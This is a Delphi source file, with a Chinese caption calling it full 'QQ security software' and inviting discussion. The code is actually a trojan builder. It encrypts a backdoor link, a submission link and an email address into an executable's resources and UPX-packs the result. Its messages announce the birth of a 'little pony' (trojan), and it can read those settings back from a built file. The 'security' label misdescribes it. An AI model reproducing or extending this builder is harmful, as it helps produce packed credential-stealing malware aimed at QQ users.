formunit.~pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

unit FormUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, DiskSN;

type
  TMainForm = class(TForm)
    Label1: TLabel;
    Label6: TLabel;
    Edit2: TEdit;
    Edit3: TEdit;
    Button1: TButton;
    Button2: TButton;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Label3: TLabel;
    Edit1: TEdit;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);

  private
    { Private declarations }

  public
    { Public declarations }

  end;

var
  MainForm: TMainForm;
  mulujin:string;

implementation

uses
  ExtInfo, Encrypt,UPX;
  
{$R *.dfm}
{$R ..\Install\Install.RES}
 {$R WinXP.RES}
 {$R ..\UPX\UPX.RES}


procedure TMainForm.Button1Click(Sender: TObject);
var
  Data: string;
begin
  if SaveDialog1.Execute() then
  begin
    Data := Edit2.Text + ' ' + Edit3.Text + ' ' + Edit1.Text + ' ';
    Encode(Data); // 加密
    
    SetLength(Data, Length(Data) + 4);
    PLongWord(@Data[Length(Data) - 3])^ := Length(Data) xor $4D617A69;

    if ReleaseResToFile(RT_RCDATA, 'DATEINFO', PChar(SaveDialog1.FileName), Data) then
    begin

      mulujin:='--best'+#32+#32+'-q'+#32+(SaveDialog1.FileName);
       UPXR;
      ShowMessage('小马驹诞生 <' + SaveDialog1.FileName + '> 成功')
    end
    else begin
      ShowMessage('小马驹 <' + SaveDialog1.FileName + '> 唉，，流产了')
     end;
  end;
end;

procedure TMainForm.Button2Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    LoadExtraInfo(PChar(OpenDialog1.FileName));
    ShowMessage('文件: '#13#10'"' + OpenDialog1.FileName + '"'#13#10#13#10 +
                '后门链接: '#13#10'"' + ExtraInfo.Door + '"'#13#10#13#10 +
                '提交链接: '#13#10'"' + ExtraInfo.Link + '"'#13#10#13#10 +
                '邮箱地址: '#13#10'"' + ExtraInfo.Down);
  end;
end;

end.